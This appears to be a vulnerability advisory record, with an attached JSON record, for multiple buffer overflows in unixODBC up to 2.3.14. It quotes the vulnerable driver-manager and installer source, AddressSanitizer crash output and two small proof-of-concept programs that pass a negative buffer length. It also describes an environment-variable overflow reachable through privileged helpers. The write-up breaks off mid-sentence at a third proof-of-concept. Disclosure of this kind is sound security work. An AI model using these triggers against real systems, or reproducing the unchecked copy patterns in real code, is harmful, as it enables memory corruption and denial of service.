VULNARCHIVE

GCVE-1988-2026-0553

unixODBC <=2.3.14 Multiple Stack Buffer Overflows

Description (en)

unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, including arbitrarily large and off-by-one 
stack overflows.  Attackers who can influence various arguments passed thereto can trigger the stack-based buffer 
overflows inside of the unixODBC driver manager itself, potentially corrupting return addresses, overwriting the stack 
with arbitrary byes (leading to arbitrary code execution, crashes, etc.), and other such things.  Given the number 
found and that, in truth, heap and stack buffer overflows identical coding constructs and paradigms in C/C++ , we will 
only show a few -- the rest can be obtained therefrom, treating these as templates for finding the other instances.

Examples
From Signing Problems to Overflows
The following example involves unvalidated negative `buffer_length` values being used in `SQLGetDiagRec` and 
`SQLGetDiagRecW` for `memcpy` and `strcpy` calls -- the former causing an integer wrap-around of the negative value in 
a heap-based overflow, with the latter triggering an unbounded stack overflow.  As every ODBC-consuming process that 
retrieves diagnostics shares this single code path -- including connection-pooling middleware and multi-tenant database 
gateways that keep Driver Manager handles alive across requests from different callers -- a single malformed 
`buffer_length` value is sufficient to crash or corrupt the memory of any process using the library regardless of the 
driver or data source configured.

```c
static SQLRETURN extract_sql_error_rec( EHEAD *head,
        SQLCHAR *sqlstate,
        SQLINTEGER rec_number,
        SQLINTEGER *native_error,
        SQLCHAR *message_text,
        SQLSMALLINT buffer_length,
        SQLSMALLINT *text_length )
{
    SQLRETURN ret;

    if ( sqlstate )
        strcpy((char*) sqlstate, "00000" );

    if ( rec_number <= head -> sql_diag_head.internal_count )
    {
        ERROR *ptr;
        SQLCHAR *as1 = NULL;

        ptr = head -> sql_diag_head.internal_list_head;
        while( rec_number > 1 )
        {
            ptr = ptr -> next;
            rec_number --;
        }

                                if ( !ptr )
                                {
                                return SQL_NO_DATA;
                                }

        as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -> msg, SQL_NTS, __get_connection( head ), NULL );

        if ( sqlstate )
        {
            unicode_to_ansi_copy((char*) sqlstate, 6, ptr -> sqlstate, SQL_NTS, __get_connection( head ), NULL );
        }
        if ( buffer_length < strlen((char*) as1 ) + 1 )
        {
            ret = SQL_SUCCESS_WITH_INFO;
        }
        else
        {
            ret = SQL_SUCCESS;
        }

        if ( message_text && as1 )
        {
            if ( ret == SQL_SUCCESS )
            {
                strcpy((char*) message_text, (char*) as1 );
            }
            else
            {
                memcpy( message_text, as1, buffer_length );
                message_text[ buffer_length - 1 ] = '\0';
            }
        }
```
Code snippet from `unixODBC`'s DriverManager/SQLGetDiagRec.c, lines 299-355

```c
static SQLRETURN extract_sql_error_rec_w( EHEAD *head,
        SQLWCHAR *sqlstate,
        SQLINTEGER rec_number,
        SQLINTEGER *native_error,
        SQLWCHAR *message_text,
        SQLSMALLINT buffer_length,
        SQLSMALLINT *text_length )
{
    SQLRETURN ret;

    if ( sqlstate )
    {
        SQLWCHAR *tmp;

        tmp = ansi_to_unicode_alloc((SQLCHAR*) "00000", SQL_NTS, __get_connection( head ), NULL );
        wide_strcpy( sqlstate, tmp );
        free( tmp );
    }

    if ( rec_number <= head -> sql_diag_head.internal_count )
    {
        ERROR *ptr;

        ptr = head -> sql_diag_head.internal_list_head;
        while( rec_number > 1 )
        {
            ptr = ptr -> next;
            rec_number --;
        }

                                if ( !ptr )
                                {
                                return SQL_NO_DATA;
                                }

        if ( sqlstate )
        {
            wide_strcpy( sqlstate, ptr -> sqlstate );
        }
        if ( buffer_length < wide_strlen( ptr -> msg ) + 1 )
        {
            ret = SQL_SUCCESS_WITH_INFO;
        }
        else
        {
            ret = SQL_SUCCESS;
        }

        if ( message_text )
        {
            if ( ret == SQL_SUCCESS )
            {
                wide_strcpy( message_text, ptr -> msg );
            }
            else
            {
                memcpy( message_text, ptr -> msg, buffer_length * sizeof( SQLWCHAR ) );
                message_text[ buffer_length - 1 ] = '\0';
            }
        }
```
Snippet from `unixODBC`'s DriverManager/SQLGetDiagRecW.c, lines 186-245

```text
SQLSetEnvAttr returned: -1
==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)
    #0 ... __asan_memcpy
    #1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17
    #2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11
    #3 ... main reprow.c:28:10
SUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy
==1303361==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRecW()`

```text
SQLSetEnvAttr returned: -1
==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9282e00050 ...
WRITE of size 62 at 0x7f9282e00050 thread T0
    #0 ... strcpy
    #1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17
    #2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11
    #3 ... main repro.c:25:10
[32, 40) 'henv' (line 7)
[64, 80) 'msg' (line 9) <== Memory access at offset 80 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy
==1302781==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRec()`

```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>

int main(void)
{
    SQLHENV henv = NULL;
    SQLRETURN rc;
    SQLCHAR msg[16];

    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
    printf("SQLSetEnvAttr returned: %d\n", rc);
    fflush(stdout);
    rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
                        msg, (SQLSMALLINT)-1, NULL);
    printf("unexpectedly returned: %d\n", rc); /* never reached */
    return 0;
}
```
Sample code to cause the overflow in the ANSI path

```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>

int main(void)
{
    SQLHENV henv = NULL;
    SQLRETURN rc;
    SQLWCHAR msg[16];

    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
    printf("SQLSetEnvAttr returned: %d\n", rc);
    fflush(stdout);
    rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
                         msg, (SQLSMALLINT)-1, NULL);
    printf("unexpectedly returned: %d\n", rc); /* never reached */
    return 0;
}
```
Sample code to cause the overflow in the wide-character path

Unbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`
When the caller-supplied `pszUI` is empty -- a common usage -- the `_getUIPluginName(char *pszName, char *pszUI)` 
method resolves the file name of the Open Database Connectivity (ODBC) installer user interface (UI) plugin by reading 
the `ODBCINSTUI` environment variable (`getenv("ODBCINSTUI")`) and copies the value thereof into the caller's buffer 
with `sprintf(pszName, "lib%s", pEnvVar);`.  This process is performed without any verification against the buffer's 
`FILENAME_MAX` capacity versus the value from the environment variable, so when `SQLManageDataSources()` passes its 
local `char szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than `FILENAME_MAX - 3` bytes 
overflows that stack buffer with attacker-chosen content.

Keeping in mind that this is merely an example of a repeated design pattern within the code, rather than simply taking 
it for the single instance, the likelihood and impact of this specific instance is moot -- it merely serves to 
demonstrate the pattern.  With that said, as this is a desktop ODBC administration tool, there are two major use cases 
in play here.  First, it is run by the same user who controls their own shell, making the practical effect a rather 
mundane self-inflicted crash or local denial of service.  It is, however, the second use case that is more interesting: 
for any setuid or otherwise privileged helper, or any service (e.g., a Common Gateway Interface (CGI) script or a 
`sudo` wrapper) that invokes the installer API while inheriting an untrusted caller's environment, the `ODBCINSTUI` 
environment variable becomes a cross-privilege-boundary stack-smashing vector. The same unbounded-`sprintf()` pattern 
also exists for the caller-supplied `szUI` value and for the value read from `odbcinst.ini`, so any affected deployment 
is exposed through more than one input path, not simply the environment variable.

```c
/*!
 * \brief   UI to manage most ODBC system information.
*
 *          This calls into the UI plugin library to do our work for us. The caller can provide
*          the name (base name) of the library or let us determine which library to use.
*          See \sa _getUIPluginName for details on how the choice is made.
*
 * \param   hWnd    Input. Parent window handle. This is HWND as per the ODBC
*                  specification but in unixODBC we use a generic window
*                  handle. Caller must cast a HODBCINSTWND to HWND at call.
 *
 * \return  BOOL
*
* \sa      ODBCINSTWND
*/
BOOL SQLManageDataSources( HWND hWnd )
{
    HODBCINSTWND    hODBCInstWnd    = (HODBCINSTWND)hWnd;
    char            szName[FILENAME_MAX];
    char            szNameAndExtension[FILENAME_MAX];
    char            szPathAndName[FILENAME_MAX];
                void *          hDLL;
                BOOL           (*pSQLManageDataSources)(HWND);

    inst_logClear();

    /* ODBC specification states that hWnd is mandatory. */
                if ( !hWnd )
                {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_INVALID_HWND, "No hWnd" );
                                return FALSE;
                }

    /* initialize libtool */
    if ( lt_dlinit() )
    {
        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_GENERAL_ERR, "lt_dlinit() failed" );
                                return FALSE;
    }
#ifdef MODULEDIR
    lt_dlsetsearchpath(MODULEDIR);
#endif

    /* get plugin name */
    _appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, hODBCInstWnd->szUI ) );
```
Snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 112-156

```c
/*!
 * \brief   Get the short name of the UI plugin.
*
 *          The short name is the file name without path or file extension.
*
*          We silently prepend "lib" here as well.
*
* \param   pszName     Place to put short name. Should be FILENAME_MAX bytes.
 * \param   pszUI       Our generic window handle.
*
 * \return  char*       pszName returned for convenience.
*/
char *_getUIPluginName( char *pszName, char *pszUI )
{
    *pszName = '\0';

    /* is it being provided by caller? */
    if ( pszUI && *pszUI )
    {
        sprintf( pszName, "lib%s", pszUI );
        return pszName;
    }

    /* is it being provided by env var? */
    {
        char *pEnvVar = getenv( "ODBCINSTUI" );
        if ( pEnvVar )
        {
            sprintf( pszName, "lib%s", pEnvVar );
            return pszName;
        }
    }

    /* is it being provided by odbcinst.ini? */
    {
        char sz[FILENAME_MAX];
        *sz='\0';
        SQLGetPrivateProfileString( "ODBC", "ODBCINSTUI", "", sz, FILENAME_MAX, "odbcinst.ini" );
        if ( *sz )
        {
            sprintf( pszName, "lib%s", sz );
            return pszName;
        }
    }

    /* default to qt4 */
    strcpy( pszName, ODBCINSTPLUGIN );

    return pszName;
}
```
Code snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 20-69

```text
[poc] about to call 

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "<=2.3.14",
          "vendor": "Unixodbc",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "unixODBC versions 2.3.14 and below contain multiple stack buffer overflows, including arbitrarily large and off-by-one \nstack overflows.  Attackers who can influence various arguments passed thereto can trigger the stack-based buffer \noverflows inside of the unixODBC driver manager itself, potentially corrupting return addresses, overwriting the stack \nwith arbitrary byes (leading to arbitrary code execution, crashes, etc.), and other such things.  Given the number \nfound and that, in truth, heap and stack buffer overflows identical coding constructs and paradigms in C/C++ , we will \nonly show a few -- the rest can be obtained therefrom, treating these as templates for finding the other instances.\n\nExamples\nFrom Signing Problems to Overflows\nThe following example involves unvalidated negative `buffer_length` values being used in `SQLGetDiagRec` and \n`SQLGetDiagRecW` for `memcpy` and `strcpy` calls -- the former causing an integer wrap-around of the negative value in \na heap-based overflow, with the latter triggering an unbounded stack overflow.  As every ODBC-consuming process that \nretrieves diagnostics shares this single code path -- including connection-pooling middleware and multi-tenant database \ngateways that keep Driver Manager handles alive across requests from different callers -- a single malformed \n`buffer_length` value is sufficient to crash or corrupt the memory of any process using the library regardless of the \ndriver or data source configured.\n\n```c\nstatic SQLRETURN extract_sql_error_rec( EHEAD *head,\n        SQLCHAR *sqlstate,\n        SQLINTEGER rec_number,\n        SQLINTEGER *native_error,\n        SQLCHAR *message_text,\n        SQLSMALLINT buffer_length,\n        SQLSMALLINT *text_length )\n{\n    SQLRETURN ret;\n\n    if ( sqlstate )\n        strcpy((char*) sqlstate, \"00000\" );\n\n    if ( rec_number <= head -> sql_diag_head.internal_count )\n    {\n        ERROR *ptr;\n        SQLCHAR *as1 = NULL;\n\n        ptr = head -> sql_diag_head.internal_list_head;\n        while( rec_number > 1 )\n        {\n            ptr = ptr -> next;\n            rec_number --;\n        }\n\n                                if ( !ptr )\n                                {\n                                return SQL_NO_DATA;\n                                }\n\n        as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -> msg, SQL_NTS, __get_connection( head ), NULL );\n\n        if ( sqlstate )\n        {\n            unicode_to_ansi_copy((char*) sqlstate, 6, ptr -> sqlstate, SQL_NTS, __get_connection( head ), NULL );\n        }\n        if ( buffer_length < strlen((char*) as1 ) + 1 )\n        {\n            ret = SQL_SUCCESS_WITH_INFO;\n        }\n        else\n        {\n            ret = SQL_SUCCESS;\n        }\n\n        if ( message_text && as1 )\n        {\n            if ( ret == SQL_SUCCESS )\n            {\n                strcpy((char*) message_text, (char*) as1 );\n            }\n            else\n            {\n                memcpy( message_text, as1, buffer_length );\n                message_text[ buffer_length - 1 ] = '\\0';\n            }\n        }\n```\nCode snippet from `unixODBC`'s DriverManager/SQLGetDiagRec.c, lines 299-355\n\n```c\nstatic SQLRETURN extract_sql_error_rec_w( EHEAD *head,\n        SQLWCHAR *sqlstate,\n        SQLINTEGER rec_number,\n        SQLINTEGER *native_error,\n        SQLWCHAR *message_text,\n        SQLSMALLINT buffer_length,\n        SQLSMALLINT *text_length )\n{\n    SQLRETURN ret;\n\n    if ( sqlstate )\n    {\n        SQLWCHAR *tmp;\n\n        tmp = ansi_to_unicode_alloc((SQLCHAR*) \"00000\", SQL_NTS, __get_connection( head ), NULL );\n        wide_strcpy( sqlstate, tmp );\n        free( tmp );\n    }\n\n    if ( rec_number <= head -> sql_diag_head.internal_count )\n    {\n        ERROR *ptr;\n\n        ptr = head -> sql_diag_head.internal_list_head;\n        while( rec_number > 1 )\n        {\n            ptr = ptr -> next;\n            rec_number --;\n        }\n\n                                if ( !ptr )\n                                {\n                                return SQL_NO_DATA;\n                                }\n\n        if ( sqlstate )\n        {\n            wide_strcpy( sqlstate, ptr -> sqlstate );\n        }\n        if ( buffer_length < wide_strlen( ptr -> msg ) + 1 )\n        {\n            ret = SQL_SUCCESS_WITH_INFO;\n        }\n        else\n        {\n            ret = SQL_SUCCESS;\n        }\n\n        if ( message_text )\n        {\n            if ( ret == SQL_SUCCESS )\n            {\n                wide_strcpy( message_text, ptr -> msg );\n            }\n            else\n            {\n                memcpy( message_text, ptr -> msg, buffer_length * sizeof( SQLWCHAR ) );\n                message_text[ buffer_length - 1 ] = '\\0';\n            }\n        }\n```\nSnippet from `unixODBC`'s DriverManager/SQLGetDiagRecW.c, lines 186-245\n\n```text\nSQLSetEnvAttr returned: -1\n==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)\n    #0 ... __asan_memcpy\n    #1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17\n    #2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11\n    #3 ... main reprow.c:28:10\nSUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy\n==1303361==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRecW()`\n\n```text\nSQLSetEnvAttr returned: -1\n==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f9282e00050 ...\nWRITE of size 62 at 0x7f9282e00050 thread T0\n    #0 ... strcpy\n    #1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17\n    #2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11\n    #3 ... main repro.c:25:10\n[32, 40) 'henv' (line 7)\n[64, 80) 'msg' (line 9) <== Memory access at offset 80 overflows this variable\nSUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy\n==1302781==ABORTING\n```\nOutput from AddressSanitizer, `SQLGetDiagRec()`\n\n```c\n#include <sql.h>\n#include <sqlext.h>\n#include <stdio.h>\n\nint main(void)\n{\n    SQLHENV henv = NULL;\n    SQLRETURN rc;\n    SQLCHAR msg[16];\n\n    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);\n    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n    printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n    fflush(stdout);\n    rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n                        msg, (SQLSMALLINT)-1, NULL);\n    printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n    return 0;\n}\n```\nSample code to cause the overflow in the ANSI path\n\n```c\n#include <sql.h>\n#include <sqlext.h>\n#include <stdio.h>\n\nint main(void)\n{\n    SQLHENV henv = NULL;\n    SQLRETURN rc;\n    SQLWCHAR msg[16];\n\n    SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);\n    rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);\n    printf(\"SQLSetEnvAttr returned: %d\\n\", rc);\n    fflush(stdout);\n    rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,\n                         msg, (SQLSMALLINT)-1, NULL);\n    printf(\"unexpectedly returned: %d\\n\", rc); /* never reached */\n    return 0;\n}\n```\nSample code to cause the overflow in the wide-character path\n\nUnbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`\nWhen the caller-supplied `pszUI` is empty -- a common usage -- the `_getUIPluginName(char *pszName, char *pszUI)` \nmethod resolves the file name of the Open Database Connectivity (ODBC) installer user interface (UI) plugin by reading \nthe `ODBCINSTUI` environment variable (`getenv(\"ODBCINSTUI\")`) and copies the value thereof into the caller's buffer \nwith `sprintf(pszName, \"lib%s\", pEnvVar);`.  This process is performed without any verification against the buffer's \n`FILENAME_MAX` capacity versus the value from the environment variable, so when `SQLManageDataSources()` passes its \nlocal `char szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than `FILENAME_MAX - 3` bytes \noverflows that stack buffer with attacker-chosen content.\n\nKeeping in mind that this is merely an example of a repeated design pattern within the code, rather than simply taking \nit for the single instance, the likelihood and impact of this specific instance is moot -- it merely serves to \ndemonstrate the pattern.  With that said, as this is a desktop ODBC administration tool, there are two major use cases \nin play here.  First, it is run by the same user who controls their own shell, making the practical effect a rather \nmundane self-inflicted crash or local denial of service.  It is, however, the second use case that is more interesting: \nfor any setuid or otherwise privileged helper, or any service (e.g., a Common Gateway Interface (CGI) script or a \n`sudo` wrapper) that invokes the installer API while inheriting an untrusted caller's environment, the `ODBCINSTUI` \nenvironment variable becomes a cross-privilege-boundary stack-smashing vector. The same unbounded-`sprintf()` pattern \nalso exists for the caller-supplied `szUI` value and for the value read from `odbcinst.ini`, so any affected deployment \nis exposed through more than one input path, not simply the environment variable.\n\n```c\n/*!\n * \\brief   UI to manage most ODBC system information.\n*\n *          This calls into the UI plugin library to do our work for us. The caller can provide\n*          the name (base name) of the library or let us determine which library to use.\n*          See \\sa _getUIPluginName for details on how the choice is made.\n*\n * \\param   hWnd    Input. Parent window handle. This is HWND as per the ODBC\n*                  specification but in unixODBC we use a generic window\n*                  handle. Caller must cast a HODBCINSTWND to HWND at call.\n *\n * \\return  BOOL\n*\n* \\sa      ODBCINSTWND\n*/\nBOOL SQLManageDataSources( HWND hWnd )\n{\n    HODBCINSTWND    hODBCInstWnd    = (HODBCINSTWND)hWnd;\n    char            szName[FILENAME_MAX];\n    char            szNameAndExtension[FILENAME_MAX];\n    char            szPathAndName[FILENAME_MAX];\n                void *          hDLL;\n                BOOL           (*pSQLManageDataSources)(HWND);\n\n    inst_logClear();\n\n    /* ODBC specification states that hWnd is mandatory. */\n                if ( !hWnd )\n                {\n        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_INVALID_HWND, \"No hWnd\" );\n                                return FALSE;\n                }\n\n    /* initialize libtool */\n    if ( lt_dlinit() )\n    {\n        inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL, ODBC_ERROR_GENERAL_ERR, \"lt_dlinit() failed\" );\n                                return FALSE;\n    }\n#ifdef MODULEDIR\n    lt_dlsetsearchpath(MODULEDIR);\n#endif\n\n    /* get plugin name */\n    _appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName, hODBCInstWnd->szUI ) );\n```\nSnippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 112-156\n\n```c\n/*!\n * \\brief   Get the short name of the UI plugin.\n*\n *          The short name is the file name without path or file extension.\n*\n*          We silently prepend \"lib\" here as well.\n*\n* \\param   pszName     Place to put short name. Should be FILENAME_MAX bytes.\n * \\param   pszUI       Our generic window handle.\n*\n * \\return  char*       pszName returned for convenience.\n*/\nchar *_getUIPluginName( char *pszName, char *pszUI )\n{\n    *pszName = '\\0';\n\n    /* is it being provided by caller? */\n    if ( pszUI && *pszUI )\n    {\n        sprintf( pszName, \"lib%s\", pszUI );\n        return pszName;\n    }\n\n    /* is it being provided by env var? */\n    {\n        char *pEnvVar = getenv( \"ODBCINSTUI\" );\n        if ( pEnvVar )\n        {\n            sprintf( pszName, \"lib%s\", pEnvVar );\n            return pszName;\n        }\n    }\n\n    /* is it being provided by odbcinst.ini? */\n    {\n        char sz[FILENAME_MAX];\n        *sz='\\0';\n        SQLGetPrivateProfileString( \"ODBC\", \"ODBCINSTUI\", \"\", sz, FILENAME_MAX, \"odbcinst.ini\" );\n        if ( *sz )\n        {\n            sprintf( pszName, \"lib%s\", sz );\n            return pszName;\n        }\n    }\n\n    /* default to qt4 */\n    strcpy( pszName, ODBCINSTPLUGIN );\n\n    return pszName;\n}\n```\nCode snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 20-69\n\n```text\n[poc] about to call "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T01:41:18Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "unixODBC <=2.3.14 Multiple Stack Buffer Overflows",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0553",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/16",
            "automated": true,
            "contentSha256": "b8db59088fb86a623e94a04867dab36b8405c8b0d354b1624b128753e4aea1bd",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-06T00:57:58Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T01:41:18Z",
    "dateUpdated": "2026-11-13T01:41:18Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0553"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}